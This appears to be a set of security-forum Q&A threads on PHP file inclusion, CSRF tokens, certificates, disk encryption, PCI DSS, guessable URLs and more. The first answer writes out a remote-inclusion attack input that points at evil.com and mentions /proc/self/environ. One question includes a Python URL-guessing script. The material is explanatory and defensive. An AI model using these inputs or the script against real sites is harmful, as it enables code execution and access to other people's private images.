For reference, if it matters, I'm serving these PHP scripts via nginx and PHP 5.5.9 on Ubuntu.

if (!isset($_GET["file"])) { die(); }
$file = $_GET["file"];
if (preg_match("/data:/i", $file)) {
    die();
}
$file = trim($file);
if (preg_match("/php/i", $file)) {
    die();
}
include($file);

Thanks

First of all, you are not merely disclosing file content. You are executing it.

If php is configured to allow URL inclusion the attacker can simply do file=http://evil.com/attackercode.txt and your script will execute the attackers code.

Alternatively the attacker can perform a local file include by sending php code in request headers and do file=/proc/self/environ or any other number of attacks.

In short you should ideally never call include on user supplied data.


CVE-2016-5195 - impacts on virtualization I wonder if the recently found CVE-2016-5195 can be used to break out of KVM or OpenVZ virtualization to gain access to the host system?

Basically, I believe that the local privileges can not be used for that because an attacker would need to have access to the host system.

It's clear for me that the attack could be used inside of a container if the kernel isn't patched.

Looking at this github page and this RedHat page it seems that the attacker can write to /proc/self/mem and ptrace files.
The ACL that will be affected is the ACL of the VM and not the host machine. This means that the files that are shared between the host machine and the VM (remember the VMWare file sharing bugs) will remain vulnerable. Apart from that, I don't think the host machines will get affected.


Back button navigation problems because of CSRF token? I have a legacy web application and need to protect it from CSRF. I tried to resolve the issue without compromising application functionality, but I got issues related to navigation.

Can generating token and storing them in the form and session prevent the issues related to browsers back button?

Let's say I have submitted the first form in ``test1.jsp and second in test2.jsp. At this point if I try to navigate back using browsers back button and move to test1.jsp and submit the form, it will throw error as the token value from cached page and in session will be different. I tried to prevent cache storage using response headers and load the data from server on back button but the application breaks at this point.My application uses struts framework and I tried to use the struts token method but that didn't help to overcome back button issues.

Is there a way to overcome this browser back button issue using tokens?

There's no need to create a new token with each request. Instead, as per the OWASP CSRF Cheat Sheet, create a token for each session. As the same session is used for both test1.jsp and test.jsp, the back button will no longer be a problem.


Allowing the public to generate a CSR from your private key As a hosting provider, I'd like to make the process of generating a certificate for a customer's domain as convenient as possible.

I was pondering creating a webpage where anyone could:

generate a CSR for a given hostname from our private key
take that CSR away and return to us with a certificate

Is there any danger in allowing anyone to generate potentially thousands of CSRs based off our private key?

Addressing some concerns/questions:

  I think the real danger here is re-using the same private key for a lot of domains.

Is it really any different (from a security point of view, not management) than having a single certificate with many SANs? For instance, the certificate presented by our Cloudflare CDN has these SANs:

DNS:ssl2917.cloudflare.com, DNS:*.app.com.pk, DNS:*.boldstatementmarketing.com, DNS:*.lacasadivetro.com, DNS:forospyware.com, DNS:*.reportcrowd.com, DNS:*.vladtv.com, DNS:*.1bse.com, DNS:*.discourse.org, DNS:*.forospyware.com, DNS:*.gossipbrigade.com, DNS:*.gsmcodigos.com, DNS:*.is.gl, DNS:*.madepal.co, DNS:*.mejorando.la, DNS:*.oceanvillageresort.com, DNS:*.pinside.com, DNS:*.ratelossprogram.com, DNS:*.soopermexican.com, DNS:*.tequierocali.org, DNS:1bse.com, DNS:app.com.pk, DNS:boldstatementmarketing.com, DNS:discourse.org, DNS:gossipbrigade.com, DNS:gsmcodigos.com, DNS:is.gl, DNS:lacasadivetro.com, DNS:madepal.co, DNS:mejorando.la, DNS:oceanvillageresort.com, DNS:pinside.com, DNS:ratelossprogram.com, DNS:reportcrowd.com, DNS:soopermexican.com, DNS:tequierocali.org, DNS:vladtv.com

  Is there are realistic scenario in which you would have reason to believe the key of one site has leaked, while the keys of the other sites remain secure.

Not really. Should a customer using one of these keys request to move his site we wouldn't hand out the key.

  You should be generating a new private key for each CSR you generate.

Right, we should. This is a case of trading off convenience (on our end) for security. For banking, hell no. Forum sites? Possibly worth it.

  What you really need to think about in your setup is integrity of the CSR. The customers need to be absolutely certain, that the public key in the CSR they have signed is indeed the correct public key.

Come to think of it, the best option here is probably to forego the requirement of generating a CSR… we could just hand out a single CSR to everyone and have them sign it with the hostname they prefer (similar to what startssl does - when signing the CSR they throw away the requested hostname and use what you enter on their webpage.

I don't know if all (any?) CAs will do that, but it's an option.

In theory, provided a system was secure enough and you only ever signed the CSR on a separate server, keeping that key damn secure, there would be no issue with this.

However,

What happens in the event that you do somehow have that private key compromised?
What's your plan in the event of a breach?
Will you have that private key for your TLS certificate on the same server as the signing server?

Ask yourself: is there any benefit to using the same key for 1000+ domains? Can you explain the single point of failure to your customers?

In addition, RSA (at least) has no currently known attack on being used for signing repeatedly that would give away the key. That one's reserved for DSA with a dodgy PRNG.

Still, it's a bad idea.

Update

The system you want in this case would be as follows:

Every customer is jailed (via chroot()) into their own directory on the server
For every CSR generated, a private key is generated in the user's jail, but outside of the webroot.

e.g. /jail/customername/private/server.key
/jail/customername/domains/<domain>/subdomains/<subdomain>/public
/jail/customername/domains/<domain>/public
/jail/a/domains/a.com/public/, etc.

The webserver must respect jails, and scripting languages must run as a user that cannot access the private folder in every user's jail.

There would be no issue with this system; I'm assuming you are running a shared host system, and that you want an easy way to generate a CSR for each customer to enable TLS.

This way, you have correct and enforced separation of privileges for each customer and in the event a customer is compromised (barring any local privilege escalation exploits), the rest of your infrastructure is sound and you can just revoke the TLS certificate from the user who was exploited.


Veracrypt system encryption on SSD, do I have to trim the disk right after finishing? How? I want to encrypt my OS that is on an SSD (Windows 7, x64, mbr partition style).
From what I know Veracrypt will encrypt the whole disk, not only the actual data.
Not only! it will "fill" the empty space (inside the decrypted disk) with random data to allow hidden OS/containers.
This means that the SSD will think that the SSD is full and wear leveling will be limited, thus decreasing the life and speed of the SSD.
Can a solution be to write in the encrypted disk a very big file that fills the disk and then delete it so that trim will run and mark again most of the disk as empty? Will it be one trim operation or more probably many many trim operations (one per sector) that might fill the trim buffer and failing?
Does Windows 7 defragmenting also retrim the disk by sending trim operations at slow speed to allow the disk to process them?
Or do I have to do nothing and Veracrypt will notice that it's an SSD and encrypt only data and not the whole disk?
Can someone point me to a solution inside the Veracrypt guide?

I'm not interested in hidden containers (that anyway will not work/be hidden over an ssd).

The solid state drive, though encrypted, reported the appropriate amount of storage space

I'm sure that the os will report correct disk size and used/free percentage, my question is does the ssd know that most of the disk is empty (thanks to trim)? or it will think that is full?
if trim doesn't work speed will degradate and wear leveling too, thus decteasing the ssd life.
so i want to be sure that trim is working and know how to retrim the disk after encrypting which i think it's necessary since veracrypt encrypt also free space.
How can i be sure that trim works after encrypting? is it necessary to do something after encrypting? if yes how do i trim the disk?
will the trim function be permanently broken because veracrypt encrypt also free space so the ssd will think that is 100% full all the time?

First, I have used VeraCrypt on multiple SSDs and haven't had any issues with performance as a result. This includes devices from Samsung and off brand devices as well. The solid state drive, though encrypted, reported the appropriate amount of storage space on my machines and worked as expected.

As it applies to SSDs, wear leveling is likely your biggest risk factor with trying to secure your drive. I recommend reading the warning here and then determining if your hardware leverages the wear leveling functionality.

https://www.veracrypt.fr/en/Wear-Leveling.html

That said, the common implementation suggestion for solid state dries is that you:

Start with a clean drive
Encrypt the entire drive before placing data
Write your data to the encrypted drive
Call it a day

As with any system configuration, I highly recommend testing this solution with a non-production machine to ensure that it responds favorably given your hardware, os, and other variable. You don't want to hose your production machine with an encrypted, failed, hard drive.


Published URL File APP.CSS I am crossing an analysis on a website and while fuzzing and testing I came across the below URL:

https//www.****.**.*/content/css/app.css

Which generated the below output:

/* Minification failed. Returning unminified contents.
(856,107): run-time error CSS1036: Expected expression, found '}'
(1838,90): run-time error CSS1019: Unexpected token, found '.'
(1838,90): run-time error CSS1042: Expected function, found '.'
(1838,90): run-time error CSS1019: Unexpected token, found '.'
(1838,90): run-time error CSS1042: Expected function, found '.'
(1838,90): run-time error CSS1062: Expected semicolon or closing curly-brace, found '.'
(2353,12): run-time error CSS1038: Expected hex color, found '#fff9'
(2353,17): run-time error CSS1062: Expected semicolon or closing curly-brace, found ' '
 */
/*!
 * Bootstrap v3.3.7 (http://getbootstrap.com)
 * Copyright 2011-2016 Twitter, Inc.
 * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)etc.......

The app.css should be accessible knowing that content and css directories are forbidden from server side.

The Question I am searching an answer for:

Does App.Css pose any security threat or issue from information disclosure perspective or can it be considered a vulnerability while published or is it a normal behavior ?

It's a bit unusual to publish a CSS file which the minify process failed on, and may be indicative of other issues (e.g. insufficient monitoring of the deployment process), but CSS files are used by end user browsers, so the content shouldn't be sensitive. At most, it might include styles which are applied to pages or controls which the current user doesn't have access to, but applications should not rely on styling for access control, so this should not cause problems in a sensibly designed application.


PCI DSS - only one primary function per server The PCI DSS says that a server can have only one primary function and i'm a little confused over what it means by 'one primary function'
we have a webserver with database - web pages and email
is this a breach of the rules? because just about all web servers come with a database, web server and email. We are only a very small merchant with a very small web shop i can't imagine everyone is splitting all these up into 3 servers? this would be very expensive?

2.2.1 Implement only one primary function per server to prevent functions that require  different security levels from co-existing on the same server. (For example, web servers, database servers, and DNS should be implemented on separate servers.)
For example:
A database, which needs to have strong security measures in place, would be at risk sharing a server with a web application, which needs to be open and directly face the Internet. Failure to apply a patch to a seemingly minor function could result in a compromise that impacts other, more important functions (such as a database) on the same server.
This requirement is meant for all servers within the cardholder data environment (usually Unix, Linux, or Windows based). This requirement may not apply to systems which have the ability to natively implement security levels on a single server (e.g. mainframe).

I had a look at PCI-DSS - one application per server? but im still confused

Yes, they should be separate servers.

However, they don't need to be separate physical servers; they can be three virtual servers on one physical server.

There is some room for debate in the standard. Separating web and database is pretty much non-negotiable. But if email is a minor function - say, the web server just uses it to send the odd email notification - then you may be able to justify combining that with the web server. If you were large your QSA would guide on this, but given your size I expect you are on self assessment.


Which crypto-algorithem uses iOS in NSDataWritingFileProtection and what is the keysize? I need to know the crypto algorithm and key strength of NSDataWritingFileProtection. I would like to know the same things for using the Keychain and NSFileManager.

I searched the Apple Developer references:

Security Services
NSDataWritingOptions

But found nothing specific.

The Advanced Encryption Standard Algorithm Validation List
 contains multiple entries of Apple using AES 128bit-256bit but nothing in connection to keychain or NSDataWritingOptions or NSFileManager

Apple themselves use 256-bit AES for their apps, but you can choose from AES, RC4, or 3DES in a variety of key lengths.

See Apple's Certificate, Key, and Trust Services Reference and Cryptographic Services Guide


Can anyone spy on my traffic if they know my MAC address, local and public IP? If we are under the same ISP or different ISP? image for more information.

If they are connected to your personal or ISP-issued router, then they are considered to be in your network, and might be able to read all of the traffic meant for you.

If they are a neighbor who happens to have the same ISP as you, and use their own personal or ISP-issued router, then they are not in your network, and the only way that they can see any traffic related to your computer is if you sent that information to them.

In most modern setups, your ISP will have a router somewhere in your neighborhood, and will send your traffic directly from their neighborhood router to your own router. If your computer is physically connected to the router, then in most cases, the router will send the traffic directly to your computer.  If you have someone malicious who is also physically connected to the router, they can make the switch broadcast your traffic to all ports, rather just the port connected to your computer.  If you're both connected through wireless, then you can't assume any privacy, either.  However, someone who is connected through wireless is not going to be able to eavesdrop on someone with a physical connection, and vice-versa.

The only way that someone can snoop on your traffic without being connected directly (through a physical wire or through wifi) to your router, is if they have somehow compromised the router in your neighborhood, or have compromised other routers in the ISP's network... but the further away the attack is, the less of their traffic they'll be able to intercept.


Gmail lets me use my old password My university's email works through Gmail and I can log on to it either through my uni's website or in Gmail. I recently changed my password and I use it to log in to the schools secure WiFi, school site, blackboard, and to access my email through the school's website etc.
However, when I try to log in to my email through Gmail it uses my old password. Also when I change my password it logs me out of everything including my email through the website but, I stay logged into the Gmail app on my phone. How is this possible?

Also I have notified my uni's IT department.

Edit 1:

https://apps.astate.edu/SAML/gmail.php

This is how I can acces my email through my school's site. To access it through Gmail I just go to mail.google.com.
When I use the first link I type in my new password. When I use the second link I have to type in my old password. I didn't need to do anything special to get my email to work with Gmail it just works. Until recently that is.

Edit 2:

When I try to change my email in google this is what I see.

Also note that is says that the last time I change my password was August 28 even though I changed it a couple of weeks ago.

Then when I click the "password & sign-in method" it takes me here.

I click submit and it sends me here.

This is the same page I use to change my password as if I had done it through the school's website.

Unfortunately, this seems to be a poorly done configuration on the school's part. I also have a Gmail account managed by the school that is tied to the school's SSO. The only thing you can do is talk to your school's IT department, and hopefully they will fix their mistake.

In the mean time, enabling 2-factor sign-on will protect your account from compromise until you can get your passwords sorted out.


Computational Feasibility of finding 'Good Links' of the following format I recently stumbled upon this and am checking here to see if what I am proposing is indeed feasible and can be considered a breach of privacy.

For obvious reasons I am not revealing the website which exhibits this property

The URLs are of the format :

https://xxxxxxxxyyyyyzzzz/xyz/<6 digit rand>_<17 digit rand>_<10 digit rand>_n.jpg

And requesting the above link will return you an image. Now, as you can see, the entropy of the possible URLs are quite large. But note that they are all integers(0-9).

This website hosts contents of millions of people ;) and my guess is that at least 10% of the URLs contained within these random number will work. Of course, its just a guess.

My question is : is this feasible ? Is my Claim true ? My presumption here is that these random numbers may be a non-cryptographic hash of some string. There is no way to confirm the above sentence. For the sake of this question, lets assume it does.

My code to generate these links looks like so (just a snippet)

first = str(random.randint(100000,999999))
second=str(random.randint(10000,99999))+str(random.randint(10000,99999))+str(random.randint(10000,99999))+str(random.randint(10,99))
third= str(random.randint(10000,99999))+str(random.randint(10000,99999))

test='https://<URL>/'+first+'_'+second+'_'+third+'_n.jpg'
try:
        image=urllib2.urlopen(test)
        print (image.read()).__len__()
except:
        print "fail"

I have not tried to run this for more than tens of requests for the fear of my IP being blocked by the server for excessive requests. I do not intend to either. Just want to clarify if my understanding is right.

P.S: Am not a python developer, so please forgive if my code is ugly (suggestions will be happily taken to improve)

No, I think your math is off.  I do not think this is actually a real vulnerability.   If your description of the format is accurate, and if the numbers generated via a truly random source -- then no, I don't think it is so easy to stumble across other people's pictures.

Let's work the math.  There are 33 random digits in the URL.  That means there are 1033 possible URLs.  Suppose this web site has one billion users (109), and each user posts 1000 pictures (103).  (I'm being generous here.)  Then there would be 1012 pictures posted in all.  This means that accessing a randomly chosen URL would have a 1012/1033 = 1 in 1021.

In other words, you will have to try about one thousand billion billion (1021) times before stumbling on a single picture from someone else.  That would take approximately, oh, forever.

Oh, you want a more precise estimate?  OK, OK, here goes.  Suppose you can make 1000 requests per second (probably a generous estimate, but let's run with it).  Then it would take you 1018 seconds before you stumble across the first picture, with just random guessing.  There are about pi times 107 seconds in a year, so it will take you about 3 * 1010 years before your first success.  That's longer than the known lifetime of the universe.  (By the time you stumble across your first picture, everyone shown in the picture will have been long since dead, and they won't care any more.)

So, no, this attack is not a threat.  As long as the random numbers in the URL are truly random and unpredictable, this scheme is secure.

The biggest risk comes if the numbers in the are not actually truly cryptographically random.  If the numbers are generated using a non-crypto-strength pseudorandom number generator, or via some other predictable sequence, then the scheme could be vulnerable.

Ironically, your example code would is a good example of how not to do it.  You used Python's built-in random generator.  That is not cryptographic-strength, and thus its output is likely to be predictable.  The security is at best as good as the amount of entropy in the seed to the pseudorandom generator.  Even worse, with many such pseudorandom number generators, if you observe a few outputs from the generator, you can predict all following outputs -- which would be deadly to the security of such an image-hosting scheme.

Is your website using a vulnerable pseudorandom number generator?  If they know what they are doing, I sure hope not.  However, you probably have no good way to know for sure from the outside.

To learn more about the subject, I'd like to refer you to two resources: first, Make sure you seed random number generators with enough entropy; and second, this Dilbert cartoon:


Multibyte Character Exploits JSP/PostgreSQL I am trying to secure a web application, written in Java/JSP and running on PostgreSQL, against SQL injection. I ran into this very interesting answer, which refers to PHP and MySQL. Is there any resource on multibyte SQL injection against JSP/PostgreSQL? In particular, is PreparedStatement sufficient to protect the database?

Multibyte based SQL Injection is only an issue if mysql's encoding has  been set to GBK.  Your client and all of your tables should probably be in UTF-8 for compatibility or Latin1(seems to be the default in the USA). Multibyte character exploits are not a problem with these two encoding types.


Does using an UPS mitigate power-analysis attacks on a keyboard? Are there any papers that can document that using an online UPS (Uninterruptible Power Supply) can reliably protect against power-analysis attacks that attempt to read keystrokes on wired keyboards?

The following Blackhat paper describes such an attack:

http://www.blackhat.com/presentations/bh-usa-09/BARISANI/BHUSA09-Barisani-Keystrokes-PAPER.pdf

However, no protection is mentioned, beyond using "TEMPEST hardware".

Again I'm looking for a (preferably) scientific source to document such an effect. It seems like there may be issues with naively relying on an UPS. For one, there are several different types of UPSes (offline, line-interactive, online, and probably variants and implementation specific details), and there may be shared grounds from other sources, such as wired Ethernet connectivity.

If no such paper exists or can be found, at least a thorough explanation would be nice.

It very much depends on the UPS. Most UPSes, particularly under-desk form factor ones for home and small office use do not include power conditioning or filtering.

A simplified topology of a common UPS design looks a bit like this:

The AC usually flows directly from the AC IN to AC OUT, and the controller leaves the right hand side of the transformer unloaded. When the power fails, the controller senses that the input power is no longer present and starts producing an AC power source from the battery, which is stepped up by the transformer to take over the supply. The diagram above is heavily simplified but it gets the point across - when the regular AC power is present it's just like running the device straight from the wall socket.

There is another type of UPS design which includes a feature called power conditioning. These UPSes are usually very expensive and tend to be found in rack mount form factors rather than desktop units. Power conditioning UPSes usually include additional filtering in the form of an LC circuit (large toroidal inductor plus a large capacitor array) which acts like a low-pass on the power signal to remove noise and improve power factor. Depending on the characteristics of the filter, this may prevent power analysis side-channel attacks such as the one you described.

Yet another type of UPS is a DC UPS. These are usually used in specialist datacenter applications where it is more power-efficient (and sometimes heat-efficient) to have one large integrated UPS and switching DC power supply solution that provides a DC rail (usually 48V) to all systems in the datacenter, rather than each server switching down from mains AC to the required board-level voltages. Such a design would likely filter out power noise from the servers, thus preventing a side-channel attack, although in most situations you would expect the main UPS to be fed by 3-phase at higher-than-domestic voltage, thus making any direct interface with that power rail extremely dangerous, which is a pretty good deterrent.


Certificate Transparency From what I read here, if the intermediate CA has been compromised, a fake cert can be issued and the privacy of the end-users could be compromised as well. In order to remediate this situation, someone have to report this and have this cert be revoked by the CA that issue the intermediate cert.

At the end of the article, it suggested CT (Certificate Transparency). I understand that CT's "auditor" will constantly query the "monitor" and "log server" to check for the validity of the cert. On the other hand, "monitor" will query the log server as well. However, one thing I'm not clear is that, how's CT going to help us if no one reported that the cert or CA has been compromised?

Also if it depends on others to verify the CA and cert can we think CT as a type of P2P CRL/OCSP?

Since I can't comment, apparently, I want to clarify a couple of points.

CT does not require all browsers to use it: there is a herd immunity conferred even if only one browser does it. And, BTW, Chrome's next release includes CT support.
Webservers do not have to change to support CT - CAs can include the SCTs in issued certificates. Some CAs already do this, and others are working on it.
CT does not introduce a new trusted entity - CT logs prove their own correct operation, and any deviation leaves signed evidence of their wrongdoing.
The goal of CT is to enable interested parties (domain owners, researchers, etc) to have full visibility of the public PKI so that misissue of certificates is easy to promptly spot. DigiNotar, for example, would have been discovered in hours instead of months had CT been deployed.


Why doesn't KeePass use two factor / one time password generation to protect the database? I've read KeePass kinda sorta tries as much as is possible to limit keyloggers (at least on PC).

But since you type in your master database password on many devices many times, there's a huge chance that someone can at one point obtain a snapshot of your key and your database file.

So why not use a combination of a strong passphrase and a one time password algorithm like your bank does, or steam guard, or other OTP keys? (and if you loose your OTP device you would have a printed few otp backup keys)

No? People seem to say "it won't help protect you any better".

Should I install the OTPKeyProv plugin? Does it work on mobile? Does it still also use your passphrase?

Nobody has figured out how to involve OTP with encryption that materially improves security.

It's important to remember that KeePass's master password is used to derive encryption key, so it is actively involved in file modification transactions; unlike web service credentials which are only used for authentication, which is simply attached to the transaction. OTP that changes all the time wouldn't be useful for deriving encryption/decryption key.

A place where OTP could be useful is if you use it as a quick unlock solution, where you only need to type master password once at startup, and then you can unlock with shorter password afterwards. But for OTP quick unlock to make sense, it need to be easier to type than just retyping the master password. Also, since quick unlock requires that Keepass caches the master key, for it to be secure, you probably would need an HSM of some sort so other programs can't read off the master key off the Keepass process.


Help me catch someone red handed on our server. I first  tried to log in this morning and our password was changed on our ubuntu server.

I contacted our server support and they told me that I had just been fat fingering the password.

I thought it was fishy, I am not the type of person to mistype a password and blame the IT guy.

I looked at the history file and sure enough the password was changed but not by me.

I called our server support out and they said that they were just verifying the password. makes no sense.

Now there are 10 lines in the history file that has been deleted.

I smell something fishy, I now can't sftp in, but I still have an active session through SSH.

Is there a log file that can tell me who edited a file and when.

Is there any other log files that can help me catch this person and find out for sure what is going on.

This is our production server and it makes me nervous having someone running a without us asking. As of right now I can't prove anything strange is going on, but I know there is.

Thank you in advance.

Is there a log file that can tell me who edited a file and when.

find / -mmin -90 -printf '%p\t%a\n'

This will list all files changed in the last 90 minutes and when they were changed. It does not say who changed it though (this is not possible).

And as Hae0 said looking at the bash history (and the logs in /var/log) is always a good idea. The root history should be here:

/root/.bash_history

And the histories for the other users here:

/home/<username>/.bash_history

But note that with the correct rights logfiles can be changed. The last change date of files can also be changed.


Vulnerability scan scheduling approach on demand versus change? I have a question regarding scheduling a vulnerability scanning and assessment exercise.

I'm in the process of laying a schedule for vulnerability scans. I'm wondering when and why to initiate the scan in the first place - What conditions should necessitate the requirement.

Should this exercise be initiated whenever there is a change in a system / application design or configuration?

If I go with approach I'm compelled to question the correctness of the change. Was this changed approved, followed guidelines or best way for implementing / introducing change.

As the risk resulting from not following change management protocol / procedures is not the direct responsibility of vulnerability scanners, should this risk not be handled by change control system and other means (audits etc).

Why would I waste time assessing the risk / testing a vulnerability when I know if a proper change management process was followed I wouldn't need to scan.

So should a vulnerability scan exercise be driven by change or demand?

There are a few times you should do vulnerability scanning, and a configuration audit, each having their own purpose:

When a new system or application is being introduced into the environment.  This is to evaluate the risk posed by introducing the new element into your environment.
When a change has been made to existing systems or applications in the environment.  This is to assess the risks introduced by the change.
Periodic scans of all systems, according to a regular schedule.  This is arguably the most important of these three.  It serves a few purposes:

Maintain an up-to-date baseline of the security posture of your environment.
Detect unexpected and/or unauthorized changes to the environment.
Identify systems which are vulnerable to newly-discovered exploits which would not have been covered in previous scans.

All of the above serve their own purpose as outlined here.  Each has their place in a proper risk management and discovery policy.  You should be including all of these in your process, and to do without any one could potentially leave an unnecessary window in which you may be oblivious to vulnerabilities that you could otherwise have discovered early on.


The Requirements of a Cryptographic Algorithm I remember reading a book on cryptography with a section detailing the objectives that modern cryptography must accomplish, one being that even if the algorithm is known, the method remains secure. I.e. the so-called Kerckhoffs's principle. What are the other standards an algorithm must accomplish and why are they necessary?

What you are referring to is Kerchoff's Principle. Beside that a couple of formalizations of security criteria (along with very simplified explanations) are:

Ciphers

Indistinguishability under chosen-plaintext attack (IND-CPA)
Indistinguishability under [adaptive] chosen ciphertext attack (IND-CCA1 & IND-CCA2)

These roughly say that ciphertexts should not leak information about the plaintext, and that plaintexts should not allow an adversary to infer anything about their corresponding ciphertexts. Some more details here.

MACs and Digital Signatures

Strong existential forgery under chosen message attack (SUF-CMA)
Weak existential forgery under chosen message attack (WUF-CMA)

See page 11 of this paper. These roughly describe the ability of an adversary to forge a signature for a given message without having knowledge of the signing key.

Hash Functions

Collision resistance
Preimage and second-preimage resistance

These roughly say that given the output of a hash function it should computationally intractable to find the input to the function that produced that output or to find two values that produce the same output when fed through the hash function.


What data should be logged? Imagine having a web application. You then decide that you want to create your own logging system, for whatever reason. What data should be logged to put a very good logging system in place?

I was thinking about the following:

Date and time of access for every user
User IP
Number of consequent login attempts
Session length
Data entered in form fields (to see if anybody is trying an SQL injection)

What other data should be logged, especially as far as security is concerned?

Also, do you think that the last point of the list can make some sense? Of course, only non-sensitive data would be collected, for example search queries.

To expand upon Rory's recommendations, you really need to ask yourself what is the driver behind your logging, and what information you need to accomplish those goals.
For example, if you need user attribution then you probably need

Username
Timestamp
Source IP
GET string and possibly POST variables
Session IDs
Cookie information (expirations, tokens if appropriate, chocolate/sugar/gluten-free, etc)

Are you looking for unauthorized access attempts?

Timestamp
Source IP
Action Performed (login, data query, etc)
Related information to action, (username, query string, etc)

Do you have policy/contractual/regulatory/etc. requiring full session reconstruction? Well, that's a lot harder and will require all kinds of scary data on every request. This will likely require deep app integration and possibly need things like stack traces, variable dumps, packet captures, etc.


Is it possible that an unofficial download of Windows is corrupted? I recently decided to clean install Windows 10 on my machine. On searching online, I found that windows with update 1703 was the latest. I have acquired the iso file for windows 10 enterprise from a friend of mine who says he downloaded it from a website and not from the official Microsoft site. The iso file says it is a 12 in 1 iso with an option to install any version of Windows (home/pro/education/enterprise) and that too with English or Russian languages. My question is

Is it possible that someone could have done something nasty to the actual iso file and came up with a corrupted version of the OS? Like, is it possible that after installing from the iso I will have my windows with pre installed malware? Like someone modifying some critical system file and writing their own corrupted code?
Is it possible someone could've modified some setup files and then added their own malicious code in between the lines? Like how they show using PE view hexplorer and other tools?
I might sound stupid, but I've been a victim of a ransomware attack lately and don't want to risk anything again.

My current bandwidth is too slow to download any official iso from the Microsoft site.

Yes, it is very much possible that the OS comes with preinstalled malware. It is perhaps even likely. You could scan it with AV, but even if it comes up clean there is still a significant risk the AV missed something. Perhaps you could compare the checksums of the file with the checksum of the official Windows file, but since I don't think Microsoft publish Windows in ISO format you might be out of luck there too.

Basic moral of the story: If you care about security, don't use pirated software.


Why does Microsoft Security Essentials remove Chrome in some situations? According to Google, Microsoft Security Essentials is currently detecting some versions of the Chrome browser as malware.  Could someone have hacked Google and put a virus into some Chrome updates?  Or, is there another reason an antivirus product might flag legitimate software as bad?

http://chrome.blogspot.com/2011/09/problems-with-microsoft-security.html

False alarms of anti-malware are quite common because of the way these kind of software works and the theoretical limitations.

It is uncommon for anti-malware to have an exact copy of the malware included for a number of reasons:

There are many, many bad programs out there, so the anti-malware would be several hundreds of gigabytes in size.
Malware may exist in many various, it may even modify itself.
Distribution of malware has a legal implications, even if it is distributed as part of a security solution.

So how does malware detection work in practice?

The most common way is the usage of signatures which are calculated based on the malware files. The anti-malware-company looks for distinct fingerprints in the malware binary which can be used to identify it.

Unfortunately other legitimate files may have the same fingerprints. For example if they company uses a part of an uncommon statically linked library.

Another approach is to analyse the behaviour of an application. For example you don't expect a text processing program to write to the boot sector.

Browsers however do connect to the internet and write a number of files. They are host applications for addons, plugins and extensions. So it is quite likely that they trigger the behaviour detection.

Both approaches often come with a whitelist of known good programs. It may, however, take some time until a new release of a whitelisted software is added.


Can an indie apps developer get fined if they unintentionally didn't protect users' data from hackers? I'm currently developing an app, which the users will store sensitive data in, and this data will be stored in the internet (I'll use Firebase or a similar service).

I'll try to secure the data as much as I can (and send it via a secure connection or something), but by all means I'm a complete beginner in information security field and I'm still learning, but I'm afraid that my app's data security won't be competent.

My question is what if someone was able to access the users' data, will I (the app developer) get fined? Or are the fines only for international data security violations? In my case it won't be intentional, I'll try my best to secure the data.

Another side question is: what are the regulations/standards/requirements that I should be aware of which are related to data security? I only know the GDPR regulations.

First of all, don't trust any legal advice from a Q&A site on the internet. I am not a lawyer, but I can give you some pointers at least:

It mostly depends on your place of jurisdiction. Laws are quite diverse in regards to liability when it comes to cyber security. You should consult with a legal expert familiar with software liability in your place of jurisdiction.
Data security is just part of the game. Getting hacked and having personal information leaked is a severe issue, but not the only one. Your systems can be compromised and used to attack others or spread malware / illegal material. Your users may incur damage if the system is not available during a DDoS attack. The list goes on. Do not consider your application secure, just because you followed all the data protection standards.
You have a degree of freedom when defining your contracts. Again, it depends on your local jurisdiction, but usually you can define for which use cases or industries in general your software should and shouldn't be used. You can basically say, that you are not liable for anything and that your software is not fit for any purpose. Your clients won't like that, but it is an option. The goal is to find a middle ground that works for all sides. Don't include any liabilities in your contracts that you are not comfortable with. Again, this is a difficult matter, get a legal consultant.
Get a software security expert on your team. You said it yourself, you're a beginner in the field of information security. Relying on standards and security frameworks only gets you so far. Without a competent partner to manage your application security, you run a high risk. If it is a small development project and you have limited funding, get a security consultant for a limited amount of time to cover the most important topics. If you can afford it, bring an expert into your team. A security savvy developer can help not only with security but other development tasks as well.
About security standards... Honestly, based on your description, no security standard alone will do the trick. Application security is a field that requires many years of experience to get things right, and even then it is difficult. I could list a wide range of different security standards from OWASP, NIST and many others, but the standards are not your issue. That's probably not the answer you were hoping for, but my honest opinion about your situation.


Can someone who only knows your phone number and first name perform identity theft? I was wondering, since people give their phone numbers to strangers, for whatever reason, could it be possible if that person, who has only your phone number and maybe a first name to somehow do some sort of idenity theft? Or what could actually happen if they know only your phone number and first name, other than prank calling?

If you gave Facebook that number, someone could use it to find your Facebook user name. People tend to use their full name as a Facebook user name - also because Facebook wants so:

  The name you use should be the name your friends call you in everyday life and that our acceptable identification forms would show.

As such, a phone number may be enough to get your full name, which could be partially confirmed by an attacker who also knows your name.

At that point, the attacker would know your full name and phone number.

What can the attacker do? It depends.

If you're worried about online fraud - setting up a fake account with your name - it's a real threat.

Financial frauds - those involving money - are usually more difficult, since they often require additional data (SSN, credit card number,...) and resources (forged documents, cloned credit cards, and so on).

As usual, you should think about what you're dealing with.

How many people know your phone number and first name?
Do you think you can trust them? I'm not talking about "saving-your-life" trust. A plain "not-doing-evil" trust is enough.
Does any website, including social networks, know your phone number and first name?
Do you think you can trust them, at least to not directly sell your data to scammers and criminals?
Did something happen that could make you the target of an attack by resourceful people (say, criminals)? Consider revenge and other factors.
Consider how would a fake account affect your digital presence, both from a personal and a professional standpoint. If you are a representative of a well-known company, for example, a fake account could be more dangerous than if you were, say, a waiter.
Do your bank and credit card companies have well-defined policies, requiring identification, for using your bank and credit card accounts?


Client sent certificate with zero bytes but ssl is working fine Mutual SSL Authentication is working fine while client is sending certificate of zero size.
And certificate verify message is also missing.
I am amazed how the communication is working fine.
I have TCP dump but I can't share due to security policy of our company.

How is it possible that the communication is working although the client is sending a certificate with zero size?

A certificate with 0 bytes is sent by the client if the server requests a certificate but the client has no certificate. How the server deals with the empty certificate depends on the configuration:

With apache you can set the option SSLVerifyClient to optional to require a certificate but accept an empty one too. If you instead set it to require it should fail if only an empty certificate gets provided. Other servers have similar options.


Web application security standards/certificates I'm currently working on Web application/service that (hopefully) will be used in a wide variety of ways. Of course I'm looking to attracting some commercial users as well, and as we all know, they care about certificates. So my question is:

What are the most recognized, most valuable certificates that a web application must have?

In short, about the project and technical details:

.NET 4.5
CMS SaaS based on Azure
Users will be able to input a vide variety of data (uploading files as well)
Users will be able to create their own plugins/modules
It will eventually be open sourced (not soon tho)

Also, I'm interested in the certification procedure, how does it work? I imagine I'll have to get the whole application pen-tested, so who does the pen-testing, certificators?

